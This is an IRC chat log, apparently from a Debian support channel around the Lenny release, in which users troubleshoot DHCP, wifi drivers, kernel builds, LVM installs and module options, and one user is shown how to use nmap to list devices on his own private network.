| 03:20.55 | abrotman | you could do it that way also |
| 03:20.58 | smacnay | abrotman: the Debian source package... I mean |
| 03:21.03 | Zopia2 | how much is PPC supported in the channel? |
| 03:21.03 | smacnay | abrotman: bbl |
| 03:21.10 | smacnay | abrotman: thanks for the time |
| 03:22.33 | abrotman | zopia2: i have one? |
| 03:22.33 | abrotman | !ppc |
| 03:22.33 | dpkg | from memory, ppc is is short for <powerpc>, and powerpc is the superior architecture. You worship it, and wish you were running on it. Check out http://www.debian.org/ports/powerpc/ or visit #debianppc |
| 03:22.53 | theeclipse | tmp_: for example when I SSH to it about 30 minutes it is connected and after that my SSH terminal crashes and I can not ping it.. is it possible the source of the problem is somewhere else not dhclient? |
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| 03:27.16 | tmp_ | theeclipse: It's possible. Potential culprits that come to mind are (in no particular order): multiple packages trying to act as DHCP client; DHCP Server has an unusual configuration; buggy network daemon or utility on the dhclient box going down hard... |
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| 03:30.46 | Emmanuel_Chanel | Hello! |
| 03:31.02 | tmp_ | theeclipse: Are both boxes that you're using for ssh on the same LAN? |
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| 03:32.06 | brick | any suggestions on where to find, or offers for, a sysadmin for an afternoon of making my desktop work better? location SF, CA, USA. |
| 03:32.21 | Emmanuel_Chanel | Hello! |
| 03:32.38 | Emmanuel_Chanel | When will stable lenny be released? |
| 03:32.45 | abrotman | !wwlr |
| 03:32.45 | dpkg | Lenny (5.0) will release WIR, SIYH and RSN. It will not be released while there are release critical bugs: http://bugs.debian.org/release-critical and see "Number concerning the next release". It might release before the end of 2008, but then again, it might not. Ask me about <wir> <siyh> <rsn> <lenny status> <lenny pool> and see http://lists.debian.org/debian-devel-announce/2008/07/msg00005.html |
| 03:32.46 | smacnay | abrotman: well, no longer a module error - now a permissions error - I am a member of the vboxusers group but note that the /dev/vboxdrv is root:root permission. |
| 03:32.59 | abrotman | smacnay: udev rules ? |
| 03:32.59 | lostson | hmm where is the java-plugin in lenny ? |
| 03:33.12 | abrotman | brick: debian.org/consultants |
| 03:33.22 | abrotman | lostson: do you have contrib/non-free soruces? |
| 03:33.27 | lostson | yes i do |
| 03:33.32 | abrotman | i386 |
| 03:33.33 | abrotman | ? |
| 03:33.42 | lostson | 64 |
| 03:33.51 | abrotman | lostson: apt-cache search icedtea |
| 03:33.52 | smacnay | abrotman: hmm, I haven't tinkered with those in ages... what do I start with? I am using udev |
| 03:33.53 | lostson | it doesnt show up when i do a search |
| 03:34.13 | abrotman | !tell smacnay about udev rules |
| 03:34.20 | lostson | aha thanks abrotman |
| 03:34.44 | brick | thanks abrotman ! |
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| 03:35.53 | Zopia2 | how would i change compiz settings? |
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| 03:38.10 | tmp_ | theeclipse: Anyway, as to your original question, dhclient lets you predefine leases (with arbitrary lease times) for dhclient to try to get the server to accept. |
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| 03:39.24 | theeclipse | tmp_: Thanks alot. |
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| 03:40.39 | smacnay | abrotman: well, the rule in /etc/udev/ shows that ownership is root:vboxusers... I will look at this later. |
| 03:41.19 | Zopia2 | how would i have the computer look for a usb wlan? |
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| 03:42.03 | tmp_ | theeclipse: IIRC, you can copy most of a known good one from dhclient.leases and adjust as you like. Unfortunately, if you're working with the ISC dhclient, it prioritizes leases from the server over ones in dhclient.conf. |
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| 03:45.16 | heffay | hi |
| 03:45.51 | heffay | im using a lenny netinstall disk and i keep getting an error everytime i try to set up lvm |
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| 03:47.39 | theeclipse | tmp_: Oh I didnt know that, now what I see in my dhclient.leases is that there are more than one lease{} configuration for that interface.. |
| 03:48.39 | Firefishe | I have no wifi. I compiled the madwifi drivers from source as per the instructions in /usr/share/docs/madwifi/README.debian, but I still have not been able to bring up any interfaces. |
| 03:48.59 | tmp_ | theeclipse: Like it's been getting a different one each time the old one expires? |
| 03:49.10 | Firefishe | 2.6.26-1-amd64 system |
| 03:49.15 | theeclipse | Firefishe: What is your WiFi ? |
| 03:49.26 | Firefishe | theeclipse: Atheros |
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| 03:49.41 | twobitsprite | <PROTECTED> |
| 03:50.10 | Firefishe | theeclipse: And I've read and re-read the instructions for days. It's not seeing my hardware for some reason. |
| 03:50.59 | Firefishe | I just uninstalled the .deb package that the madwifi-source .deb package built for me, and am looking at blacklisting. The thing is, I have a /etc/modprobe.d/madwifi file and it's confusing me. |
| 03:51.02 | theeclipse | tmp_: mmm, you see renewal-time for each of them is 1800, maybe that is what happens while it expires it jumps to the next option.. |
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| 03:52.36 | theeclipse | Firefishe: Oh, I dont know about yours but for example mine is Intel IPW2200 and I just copied the FirmWare in /lib/firmware/ and it worked |
| 03:52.42 | smacnay | vbox isn't supposed to be run as root, is it?? No... |
| 03:54.11 | Firefishe | theeclipse: Atheros doesn't require firmware from what I gather. If it were a firmware issue, I would've been able to understand that, as, before I purchased this computer, I had broadcom cards all over the place. I got to be quite adept with bcm43xx-fwcutter and b43-fwcutter, respectively |
| 03:54.25 | tmp_ | theeclipse: The leases in dhclient.leases are all the ones its ever gotten from the server. In most of the network I've worked with, you'll only get a new on in there when dhclient is started, and that latest one will keep getting renewed as long as dhclient is up. On some networks, I've seen the server refuse to renew and generate a new lease at every expiration. |
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| 03:54.56 | Firefishe | Anyone here know about Atheros wifi cards? |
| 03:56.24 | theeclipse | Firefishe: Oh ok. |
| 03:57.41 | Firefishe | theeclipse: I'm desiring an Intel card at this point. This is the only laptop in the Asus G50V series to have this card. I'm tired of it already, although it *does* work on the Vista64 side of the drive. |
| 03:57.45 | theeclipse | tmp_: Thanks alot.. I think I have to play around with it. |
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| 03:58.33 | Emmanuel_Chanel | thx. |
| 03:58.44 | tmp_ | theeclipse: You're welcome. And from what you've written, I now suspect the DHCP server is where the problem lies. |
| 03:59.47 | theeclipse | tmp_: mmm, Then why my other Debians do not have such a problem? |
| 04:00.54 | Firefishe | brb |
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| 04:01.23 | heffay | is there a bug in the lenny installer's disk partitioner? |
| 04:01.45 | abrotman | quite possibly .. be more descriptive |
| 04:01.52 | tmp_ | theeclipse: Hmm. It could be that each one has a static config on the DHCP server.... |
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| 04:03.04 | heffay | im trying to do a straight install from the cd. im doing lvm with /home on a seperate partition but when it comes time to write the changes i get an error |
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| 04:03.14 | heffay | ext3 file system creation failed |
| 04:03.23 | heffay | everytime |
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| 04:03.55 | theeclipse | tmp_: I'm going to check it now.. |
| 04:07.19 | Octalot | heffay: which partition editor is it? |
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| 04:09.11 | Octalot | I've run in to a udev/gparted conflict, but there's a lack of other folks complaining about it, so it may just be my machine. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=344955#25 |
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| 04:10.52 | nwoal | Hi there, any package to create slideshow and video out of images? i am running lenny. |
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| 04:13.06 | nwoal | where are all the debianers? |
| 04:14.15 | adb | pornview - Image and movie viewer/manager ? |
| 04:14.31 | nullboy | lol |
| 04:14.38 | karlpinc | On etch I do a 'netstat -tl' it shows port 22 on tcp6, but not on tcp. Yet I can ssh -4 to the box. How come I don't see tcp listed as listening on port 22? What am I misunderstanding here? |
| 04:14.40 | adb | libspork-perl - Slide Presentations |
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| 04:16.07 | adb | movixmaker-2 - Utility to create customized eMoviX/MoviX/MoviX² |
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| 04:18.50 | nwoal | adb: are those eMovix... the resultant video formats? |
| 04:20.00 | adb | apt-cache show movixmaker-2 |
| 04:21.03 | adb | apt-cache show ffmpeg |
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| 04:32.49 | adb | karlpinc: grep 22 /etc/services |
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| 04:37.45 | karlpinc | adb: It says port 22, so? I don't get ssh or 22 in the netstat output. |
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| 04:45.40 | adb | tcp 0 0 *:ssh *:* |
| 04:45.50 | adb | tcp6 0 0 [::]:ssh [::]:* |
| 04:46.32 | adb | from netstat -tl , on 2.6.26 -1-686 |
| 04:47.17 | adb | it seams ok for me |
| 04:47.51 | karlpinc | adb: I'm running etch. |
| 04:47.57 | adb | b/c ssh port may be changed on demmand |
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| 04:49.08 | adb | here etch/not_etch does'n't mother |
| 04:50.13 | pabs3 | is there any way to influence which of Packages, Packages.gz, Packages.bz2 apt prefers to use? I'm using a slow machine (OpenMoko FreeRunner) and bzip2 decompression takes a long time |
| 04:50.13 | karlpinc | I get only the tcp6 line from: netstat -l | grep ssh |
| 04:50.43 | \amethyst | karlpinc: I see the same thing on an etch system, but not on my sid system (whose ssh config is likely older than etch) |
| 04:52.29 | karlpinc | pabs3 : Maybe man apt? There's lots-o-stuff in there. |
| 04:53.58 | pabs3 | karlpinc: nothing in there, or examples/configure-index* |
| 04:59.28 | \amethyst | karlpinc: bug #453272 (and much older #207651) seem to be relevant |
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| 05:03.42 | karlpinc | \amethyst : Odd. |
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| 05:07.29 | mac123 | hello i want to install flash player on debian 64 bits usually i used to do apt-get -t etch-backports install flashplugin-nonfree and it used to get installed but it shows some error flash 9 not found can some help how do i install flash |
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| 05:10.10 | click170 | hey is there a command similar to time but which will kill the process after it has run for X amount of time? |
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| 05:12.09 | hoxu | click170, timeout |
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| 05:13.34 | click170 | thnx |
| 05:13.42 | hoxu | !tnx |
| 05:13.42 | dpkg | Really, "Thank you" will do. It's not too much to ask, is it? |
| 05:13.45 | hoxu | :P |
| 05:14.01 | click170 | Thank you :) |
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| 05:27.14 | jhambo | when I go to KDE control center, there is no menu item for power management (battery etc..). How can I get that menu to show up? |
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| 05:39.49 | awk | hrm, who would have thought compiling a kernel was such a bitch? |
| 05:40.16 | awk | I did as the docs described, a remote server, I even took my old config and built that + my 2 patches, and I get a kernel panic... |
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| 05:40.53 | awk | initrd was created, what am i missing.... I only get this issue on debian |
| 05:41.22 | adb | jhambo: is kpowersave installed ? |
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| 05:41.50 | jhambo | adb: yes |
| 05:42.46 | jhambo | !tell awk about kernel compile |
| 05:43.00 | awk | jhambo: read all that.... |
| 05:43.05 | jhambo | darn |
| 05:43.28 | awk | on gentoo I just make bzImage change grub.conf to point to image after I have taken old config and pasted in /usr/src/linux/.config make oldconfig, etc... boots up |
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| 05:43.49 | kingsley | Is there a tool which reports the IP address of the network interface adjoining my computer's? |
| 05:43.51 | awk | jhambo: I would understard if I have left out modules etc, but i'm using my old config aswell |
| 05:44.03 | awk | kingsley: netstat |
| 05:44.09 | Wyzard | awk: Building a kernel isn't fundamentally any different between Debian and Gentoo |
| 05:44.19 | awk | Wyzard: except the initrd part |
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| 05:44.48 | kingsley | awk: Can you elaborate on how to netstat might be run to report the neighboring computer's IP address? |
| 05:45.12 | kingsley | s/how to netstat/how netstat/ |
| 05:45.15 | Wyzard | awk: What does the panic message say went wrong? |
| 05:45.46 | Wyzard | kingsley: you can ping the broadcast address to get responses from everything on the local network segment (that isn't configured to block pings) |
| 05:45.53 | Wyzard | kingsley: need to use ping's -b option |
| 05:46.15 | awk | Wyzard: hrm, thats the problem I have this box hosted remotely and thats all the info I was given.. |
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| 05:46.56 | awk | kingsley: ah, misread question, you can use tcpdump if you on the same network and capture the ip's that way too |
| 05:47.03 | Wyzard | I don't think netstat can tell you another machine's IP address just by virtue of it being on the same LAN segment as you (but of course, it can show you any connections you may have open to other machines) |
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| 05:48.30 | awk | Wyzard: grrr, i really need to setup rbac and have to get this freakin kernel working next reboot, this provider doesn't like the fact to reboot they very stable but when it comes to this they don't want you to make mistakes. |
| 05:49.28 | Wyzard | awk: I'd recommend starting with the stock Debian kernel's configuration (it gets installed in /boot by the kernel package) and apply whatever patches and changes you need based on that |
| 05:50.03 | Wyzard | awk: and you can test your build on a local machine before deploying it remotely |
| 05:50.32 | awk | Wyzard: my process was like this, cp /boot/config{uname -a} /usr/src/linux/.config make oldconfig or even make menuconfig inside kernel load kernel image specify the old config then save etc, make-kpkg --initrd --append-to-version.date_here kernel_image |
| 05:50.54 | kingsley | Wyzard: Thanks for the tip on ping -b. |
| 05:51.03 | adb | !kmantra |
| 05:51.15 | Wyzard | awk: just rebuilding the stock configuration, no patches or config changes or anything? |
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| 05:51.40 | awk | Wyzard: thing is I had no offsets wrong and its just a grsec patch I have the security set to min... |
| 05:52.07 | awk | Wyzard: its not like its breaking after loading init 3 its crashing right at the start, like its something to do with pre-defined modules eg: ramdisk stuff |
| 05:52.14 | Wyzard | awk: try it on a local machine and see if you can reproduce the problem there |
| 05:52.16 | kingsley | Wyzard: How does one determine the broadcast address? |
| 05:52.27 | awk | kingsley: its allways 255 |
| 05:52.45 | Wyzard | awk: then start with the unmodified stock config, make one change at a time, build&test each change |
| 05:53.01 | awk | or look at the subnet and determine it that way... kingsley let me see if i have a cheat sheet here |
| 05:53.06 | Wyzard | kingsley: ip addr show eth0 -- on the "inet" line, look for the address after "brd" |
| 05:53.20 | Wyzard | kingsley: or ifconfig eth0, and look for "Bcast:" |
| 05:53.27 | awk | kingsley: http://krow.net/dict/subnet.html |
| 05:54.14 | awk | Wyzard: hrm, ok.... let me get another box up to test this... |
| 05:54.49 | kingsley | Wyzard & awk: Thanks. Much California's governor, "Uh'll be bok". |
| 05:55.06 | awk | kingsley: he is my hero :D |
| 05:55.23 | awk | Wyzard: ok let me test this |
| 05:56.23 | awk | Wyzard: when you build a kernel do you do the initrd image after or do you append it eg: make-kpkg --initrd .... ? |
| 05:56.39 | Wyzard | awk: I'd use --initrd |
| 05:56.48 | awk | Wyzard: ok thanks |
| 05:57.09 | Wyzard | awk: but that just makes the resulting .deb run update-initramfs in its postinst script; you can built without --initrd, install the .deb, and run update-initramfs manually for the same result |
| 05:58.07 | Wyzard | (well, the package built with --initrd also removes the initramfs along with the vmlinuz when you uninstall the package) |
| 05:58.10 | awk | Wyzard: ahh, very intresting... so build kernel make-pkg --append..... kernel_image && dpkg -i kernel.....deb && update-initramfs ? |
| 05:58.50 | Wyzard | awk: should be equivalent, but I'd recommend using --initrd for kernels that depend on one; it's simpler to have it done automatically than to have to remember to do it manually |
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| 05:59.29 | awk | Wyzard: ok sure. I did it after the step and then pointed to where I wanted this and then just did a update-grub or grub-update one of those... |
| 05:59.56 | awk | eg: initrd -o /boot/..... |
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| 06:00.54 | Wyzard | If you're running update-initramfs manually, make sure you do that before running update-grub |
| 06:01.08 | error404 | can anyone suggest why an lvm2 LV would be 2-3x slower than the underlying md device? i have changed the readahead as suggested online and saw about 30% better performance |
| 06:01.12 | error404 | but it's still 200MB/s vs. 75MB/s |
| 06:01.18 | Wyzard | update-grub probably won't generate an initrd line for a given kernel version if the file doesn't exist in /boot when you run it |
| 06:01.28 | Wyzard | and not loading the initrd for a kernel that depends on it would certainly cause a panic |
| 06:02.26 | awk | Wyzard: thats what I think I did... if I use initrd -o /boot/..... here, how does it know for what kernel I want it for? and how does it change on a kernel by kernel basiss? |
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| 06:03.49 | Wyzard | awk: I'm not sure what you mean by "initrd -o /boot/..." -- I've never heard of "initrd" being a command, and if you mean update-initramfs, that doesn't seem to take an -o option |
| 06:05.11 | awk | Wyzard: no if inside boot after I did a dpkg -i on my kernel.deb package it said /boot/vmlinus-2.6.22 for instance I would do initrd -o /boot/initrd.img-2.6.22 |
| 06:05.37 | awk | err mkinitrd |
| 06:06.01 | Wyzard | oh... mkinitrd is obsolete and doesn't work with current kernels |
| 06:06.11 | Wyzard | If you used that, it's no wonder your system didn't boot |
| 06:06.19 | Wyzard | use update-initramfs |
| 06:06.23 | awk | lol |
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| 06:06.36 | Wyzard | (or use the --initrd build option, which makes the .deb run update-initramfs for you) |
| 06:06.41 | awk | Wyzard: stupid me, thanks man! |
| 06:06.49 | awk | least i got to the bottom of this |
| 06:08.10 | Wyzard | I'd recommend removing the initrd-tools package |
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| 06:08.31 | awk | doing that now :D |
| 06:09.41 | awk | this is the easy part, setting up my roles with rbac is going to take its time, so i really didn't want to get stuck with the easy stuff :) |
| 06:09.49 | Wyzard | hehe |
| 06:10.05 | Wyzard | Unfortunately, I don't know much about rbac, and I'm getting tired |
| 06:10.06 | awk | apprieacte the help... strange how a channel on a difference network, attracks different people, more so people that are willing to help, eg: compared to people on efet. |
| 06:10.10 | Wyzard | so good luck with that part :-) |
| 06:10.27 | awk | Wyzard: naaa, i'm good with rbac, just takes time securing each binary |
| 06:11.53 | GhostlyDeath | Yknow |
| 06:12.15 | GhostlyDeath | For the keyboard shortcuts, alot of the key binds don't work |
| 06:12.32 | GhostlyDeath | Some actions mapped to a Meta key combination don't work |
| 06:12.39 | GhostlyDeath | but they work when Alt is pressed for example |
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| 06:13.46 | awk | bbl! thanks for all the help |
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| 06:38.20 | BattlePigeon | 'eya, I'm having a problem with my wireless (Intel 3945). during installation, installer asked for iwl4965 drivers (which I gave to it) and now my wireless ain't working. NOW I've found out that I have iwl3945 on my laptop and dpkg has pretty good instructions for that so no problem there but do I need to do anything about the iwl4965? |
| 06:42.39 | adb | !iwlwifi |
| 06:42.39 | dpkg | [iwlwifi] the new driver for Intel 3945 and 4965 wireless chipsets, included in Debian kernels from 2.6.23. Add <non-free sources>, then "aptitude update && aptitude install firmware-iwlwifi". "modprobe iwl3945" or "modprobe iwl4965" depending on your device's chipset. See http://wiki.debian.org/iwlwifi (particularly if switching from ipw3945). See also <wmaster0>, <wireless tree>, <iwlwifi etch>, <iwlagn>. #ipw2100 @ irc.freenode.net |
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| 06:54.25 | maxamillion | is it possible to ssh from my machine into a machine that doesn't have X then from that machine to a machine with X and somehow tunnel through the middle one to do X11 forwarding? |
| 06:54.49 | nullboy | maxamillion: it's possible yes |
| 06:55.40 | maxamillion | awesome .... might anyone know where i could find some docs on the topic? |
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| 06:55.53 | nullboy | you'd end up using that middleman strictly as a conduit; it would just be forwarding specific port traffic |
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| 06:59.38 | maxamillion | nullboy: ah ... that i don't think i can do |
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| 07:00.25 | maxamillion | nullboy: here's the scenario .... i have a linux workstation at the office, and there's a linux server i have ssh access to, but the server doesn't have X installed and my workstation does ... and i'd like to be able to connect and run an app from home |
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| 07:05.33 | nullboy | maxamillion: if you have the privs to do ssh port forwarding on that server there is a way |
| 07:05.40 | nullboy | but that would typically be disallowed |
| 07:06.19 | maxamillion | it probably is |
| 07:06.28 | maxamillion | oh well, i'll surbibe |
| 07:06.32 | maxamillion | errrr... survive* |
| 07:06.41 | maxamillion | just figured i would pop in an ask |
| 07:06.46 | maxamillion | oh, another question .... |
| 07:06.51 | maxamillion | if i don't have a /swap partition, then my machine isn't randomly swapping elsewhere right? .... such that if there is no /swap, there is zero swapping going on, correct? |
| 07:07.09 | error404 | maxamillion yes. if you run out of memory you..run out of memory. |
| 07:07.27 | maxamillion | ok, just checking |
| 07:07.28 | nullboy | maxamillion: without either swap files or swap partitions, there will be no disk based swapping |
| 07:07.45 | maxamillion | nullboy: how do i double check on swap files being used? |
| 07:07.59 | nullboy | maxamillion: you can check by using free |
| 07:08.04 | nullboy | free will show any swap being used |
| 07:08.15 | maxamillion | i got an acer aspire one and the SSD write speed is horridly slow (updates are painful) and i just want to make sure there isn't any un-needed writes happening |
| 07:08.20 | maxamillion | ah, ok |
| 07:08.21 | maxamillion | no swap |
| 07:08.25 | maxamillion | awesome, thanks |
| 07:08.44 | Aggro | maxamillion: You should also check that access time is not updated when file is read |
| 07:08.46 | nullboy | if you wanted to create a swap file because you don't have a swap partition, this older redhat guide will show you a generic way to use swap files http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/custom-guide/s1-swap-adding.html |
| 07:09.05 | Aggro | maxamillion: I don't remember how, but google or someone here probably does |
| 07:09.24 | nullboy | Aggro / maxamillion: just set the noatime option in fstab for / |
| 07:09.46 | maxamillion | Aggro: yeah, i got that in my /etc/fstab with noatime,nodiratime |
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| 07:15.18 | averule | hi to all, i am trying to boot fast ..but gdm start itself takes more than 5 sec ..how to reduce starting time of gdm |
| 07:15.22 | averule | and booting |
| 07:16.40 | Aggro | averule: I'm not an expert, but are there not any instructions in the internet about this? You are not the first doing it. |
| 07:17.29 | Guerin | averule: rather than booting from scratch, use suspend2 or somesuch to suspend to disk |
| 07:17.30 | averule | Aggro, for fast booting some tips are available but not for gdm.. |
| 07:17.46 | Guerin | also not using gdm/gnome/kde is a good way to speed everything up |
| 07:18.29 | averule | Guerin, also i am getting problem in parallel running services |
| 07:18.35 | averule | at boot time |
| 07:18.40 | sauvin | What kernel does the debian lenny install media use? |
| 07:19.22 | averule | Guerin, all services are not running in proper manner so alot of failing services |
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| 07:31.41 | averule | at booting time i am getting a message kinit : resume no image found |
| 07:31.48 | averule | what is meaning of it? |
| 07:33.16 | sauvin | Sounds like it believes it should be resuming from a hibernation-like operation but not finding a resumption image. |
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| 07:53.13 | liable | ... |
| 07:55.28 | nullboy | well i gave up on trying to make flash work from apt and just manually installed the flash 10 .so |
| 07:55.32 | nullboy | screw it all. |
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| 07:57.21 | click170 | How do I change how a module is loaded on boot? I've googled, and come up with update-modules but it looks like thats far obsolete? |
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| 07:58.15 | liable | you want to give it options or something? |
| 07:58.28 | tralala | click170, for loading a module on boot you put it in /etc/modules |
| 07:58.29 | click170 | Exactly. the ipt_ULOG module |
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| 07:58.50 | jhambo | gunroar rules! |
| 07:58.58 | liable | click170: take a look in /etc/modprobe.d, there should be some examples in there how to give options to modules |
| 07:59.33 | Guerin | of the lazy can use modconf(1) |
| 07:59.38 | Guerin | s/of/or/ |
| 07:59.38 | liable | or, there is even 'man modprobe.d' (to my surprise) |
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| 08:01.17 | click170 | liable: I'm not seeing anything useful... lots of aliases though |
| 08:01.35 | liable | see the man page ^^ |
| 08:01.43 | click170 | liable: bingo lol. Thank you |
| 08:01.51 | liable | np |
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| 08:08.36 | subir | hi, where can i find the default cgi-bin directory in debian? |
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| 08:12.19 | streuner_ | subir: /usr/lib/cgi-bin/ |
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| 08:13.44 | subir | streuner, while trying to access the cgi-bin directory in browser, it says "You don't have permission to access /cgi-bin/ on this server" |
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| 08:16.06 | liable | subir: so fix your apache config.. |
| 08:18.42 | subir | liable, ok |
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| 08:22.08 | Agiofws | hi |
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| 08:25.35 | kingsley | Is it OK for multiple ports on an ethernet gateway to share the same IP address? |
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| 08:26.17 | arrenlex | Is there an openjdk6 version of the firefox java plugin? |
| 08:26.27 | Guerin | !htfswk arrenlex |
| 08:26.27 | dpkg | arrenlex: How The Fuck Should We Know? |
| 08:27.05 | arrenlex | Guerin: I mean, in the debian repositories, not in general. |
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| 08:27.09 | AndyWon | -_-~ |
| 08:27.14 | click170 | Does anyone know if this is the wrong syntax? This is the line I'm using to try and customize how this module is loaded at boot, but it doesn't seem to be taking affect. 'options ipt_ULOG nlbufsiz=65535 flushtimeout=50' I've put it in /etc/modprobe.d/options |
| 08:27.34 | click170 | Should there be a comma? |
| 08:27.35 | Guerin | arrenlex: in that case, /msg dpkg search. It seems unlikely to me. |
| 08:27.54 | arrenlex | Guerin: I have found one in experimental, but I was wondering if there was something under a different name that someone knew about. |
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| 08:28.05 | Guerin | arrenlex: unsure. |
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| 08:29.02 | spersaud | arrenlex: see openjdk-6-jdk :) |
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| 08:29.49 | arrenlex | spersaud: I have that installed... there's a plugin in that? |
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| 08:30.17 | awk | hey all :) |
| 08:30.25 | awk | anyone able to suggest for etch? *** 2.6 PaX kernels no longer build correctly with old versions of binutils. *** Please upgrade your binutils to 2.18 or newer. Stop. |
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| 08:31.06 | spersaud | arrenlex: I really dont know .... sorry |
| 08:31.38 | arrenlex | spersaud: Thanks for trying :) but there isn't a plugin, just compiler tools and the runtime. |
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| 08:32.50 | Guerin | awk: you'll need to source a newer version of binutils. You could try backports.org, or build your own. |
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| 08:33.40 | awk | Guerin: how stable at this point in lenny? |
| 08:33.51 | awk | Guerin: could an update to lenny be an option ? |
| 08:34.14 | Guerin | awk: depends on the purpose of your box and your degree of confidence and apt-fu |
| 08:35.01 | awk | well I have no confidence what so ever, as I have not tried it nor, been in touch with the bugs reported.. thats why i'm asking this |
| 08:35.09 | kingsley | Wyzard: Should I be concerned that "ping -b <broadcast address>" reports nothing? |
| 08:35.13 | Guerin | then I'd recommend against the upgrade |
| 08:35.26 | d-b | kingsley: no. |
| 08:35.53 | awk | kingsley: lol, I left a few hours ago, you still want others ip's :D |
| 08:36.17 | Guerin | awk: a backport should work ok. If you're considering an upgrade to lenny I'd be inclined to install it and fuck with it a bit on a test box. Likely it'll be fine as long as you're a fairly competent admin |
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| 08:37.16 | kingsley | awk: Please make no mistake. The IP addresses I'm concerned with are on a my private network. I certainly don't want someone else's. |
| 08:37.36 | awk | kingsley: then why not just scan the network? nmap ? |
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| 08:37.52 | awk | and scan the whole ip range, use -P0 ijust incase the box icmp packets are fw off |
| 08:38.01 | d-b | kingsley: ah ? nmap -sP 192.168.0./24 (substitute your own) -sP -T 5 |
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| 08:38.28 | kingsley | d-b: Can you elaborate on why I shouldn't be concerned that "ping -b <bdcast-addr>" faield to report any devices? |
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| 08:40.00 | awk | kingsley: use the correct tool for the job, nmap is perfect. |
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| 08:40.50 | awk | Guerin: I don't seem to find the binutils package port of the backport |
| 08:40.51 | awk | :P |
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| 08:41.11 | Guerin | awk: you might have to make it yourelf, then. /msg dpkg simple sid backport |
| 08:41.26 | Rvec | what was the command to see where apt installed a package again? |
| 08:41.31 | d-b | kingsley: no - have you told any to respond to broadcast traffic in tht manner ? |
| 08:41.35 | d-b | hopefully not. |
| 08:42.11 | Guerin | Rvec: apt doesn't install a package to any location. It installs files from a package to various places in the filesystem. |
| 08:42.19 | Rvec | yeah that's what I meant |
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| 08:42.27 | Guerin | (or more technically, dppkg does that bit) |
| 08:42.40 | kingsley | d-b: I don't understand your question. Can you elaborate? |
| 08:43.03 | Guerin | Rvec: dpkg -L |
| 08:43.09 | Rvec | thx |
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| 08:43.57 | d-b | kingsley: dont worry. basically i asked if you had setup your devices to respond if one would send traffic to the broadcast - in such a manner as you described. |
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| 08:45.48 | kingsley | d-b: Oh. I wasn't aware that devices had to be configured to respond to the broadcast address. I'm unaware of having done any such configuration. Maybe that's why I got no response from "ping -b". |
| 08:46.21 | d-b | kingsley: it depends on the protocol etc. |
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| 08:49.55 | kingsley | awk & d-b: Do you happen to know whether nmap generally requires devices to be configured to respond? Ideally, I'd like to find a tool, possibly like nmap, that can find any and all devices, regardless of whether they're configured, behind a tree, or under a rock. |
| 08:50.54 | Guerin | how can an ethernet device do anything if it's not configured to be part of a network? |
| 08:52.06 | beardy | kingsley: /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts ; that is what determines if an interface responds to multicast and broadcast pings, for example. Like Guerin said, if it isn't configured in any way, it can not respond. |
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| 08:53.17 | awk | kingsley: nmap can check regardless, if its normal 'check' is firewalled off use -P0 at the end of the string |
| 08:54.05 | awk | kingsley: all nmap does is probes ports to see whether they are open, and if used with -O can give you an OS fingerprint output, then you can pass that > to a file and view the file wen the scan is completed |
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| 08:54.19 | beardy | kingsley: Changing the proc setting above to allow it, is a bad idea. |
| 08:55.16 | Cephalon | hello ppl, just a noob question, i have Intel(R) Xeon(R) CPU 5110 @ 1.60GHz with x64 support, which debian i need amd64 or IA-64???? |
| 08:55.52 | Guerin | Cephalon: the former. Or you can just use the -686 version, which might save you some sanity. |
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| 08:56.48 | awk | isn't amd64 removed? |
| 08:56.49 | rdz | hi all.. i am trying to save some files from a broken drive with rsync. rsync seems to hang always at the same file. is there a way to skip files, that cannot be read anymore? |
| 08:56.54 | awk | or suggested not to use anymore |
| 08:57.28 | rdz | i tried first with dd to create a copy of the whole partition, but then it also stopped at some broken sector on the drive |
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| 09:03.54 | AussieGuy | say a decent dedicated server has 3.0GHZ cpu and 1GB ram.... if you were to put programs on it that wanted to use 10% above those figures, would the server run fine? |
| 09:04.03 | kingsley | awk: Thanks for the tip on nmap. In contrast to 'ping -b", nmap seems to have found all the devices. |
| 09:04.46 | Guerin | AussieGuy: from where are you getting these benchmarks? |
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| 09:05.44 | AussieGuy | I want to run 15 programs.....from what each program uses standalone multiplied by 15, would be 3.5ghz and 1024mb ram |
| 09:06.24 | AussieGuy | well I got the cpu/memory usage figures from my comp, which is about twice as powerful as the dedicated server |
| 09:06.54 | Guerin | ok. a few things - 1. for most programs you can't just multiply like that and hope it works; 2. load matters; 3. you want to spec your system with some spare overhead capacity |
| 09:06.58 | AussieGuy | and the figures for the dedicated server specs I got from the dedicated server mob |
| 09:07.13 | Guerin | you could stop being cagey and tell us what it is you're wanting to run |
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| 09:07.29 | AussieGuy | ah...just a gnutella server |
| 09:07.43 | AussieGuy | but I want it to use 100% of the servers capabilities |
| 09:07.47 | kingsley | awk: nmap found a DSL/ethernet gateway, but I was especially interested to see that it also found a nic that's attached to a different ethernet port on the same gateway. |
| 09:07.58 | Guerin | hm |
| 09:08.01 | AussieGuy | so im starting multiple copies of gtk-gnutella under different uses (I tested it before and it worked) |
| 09:08.07 | AussieGuy | *different users |
| 09:08.19 | Guerin | gods, that's a terrible thought |
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| 09:09.02 | Guerin | well, for one thing, gnutella (part of gift) is a client-server architecture, so it will (should) run only one server and a bunch of clients |
| 09:09.05 | AussieGuy | no use running one copy when it would be sitting there by itself and using 10% of ram and cpu |
| 09:09.24 | Guerin | why not? will it be referencing the same data share? |
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| 09:10.22 | Guerin | also, with any network application like this your bottleneck will likely be bandwidth |
| 09:10.34 | AussieGuy | I could, if I hacked the c code and increased the connection limit to 1000 connections |
| 09:10.37 | Guerin | if not on an acute basis, then in terms of monthly caps |
| 09:10.44 | AussieGuy | I alredy increased it from 100 to 200 |
| 09:11.02 | Guerin | ok, I see, there's a concurrency issue. Would a better client help that? |
| 09:11.27 | AussieGuy | possibly. with my dedicated server I get 1TB of bandwidth, which ive calculated is just enough for one month |
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| 09:13.01 | AussieGuy | 2 thirds of the traffic is search/query traffic, not downloads |
| 09:14.59 | AussieGuy | im not sure if I increased the connection limit to 1000 connections, if it could handle it....never full tested it, but I will |
| 09:16.29 | Guerin | well, that's the smart place to start |
| 09:16.49 | Guerin | running concurrent servers for one application is usually both stupid and inefficient |
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| 09:19.12 | AussieGuy | well, ill see what I can increase the max limit for the max_connections property to |
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| 09:20.21 | Guerin | so, how about that Ricky Stuart, then |
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| 09:20.53 | AussieGuy | yeah, apparently he was going to be sacked |
| 09:20.59 | Guerin | yep |
| 09:21.02 | AussieGuy | but he quit before they could |
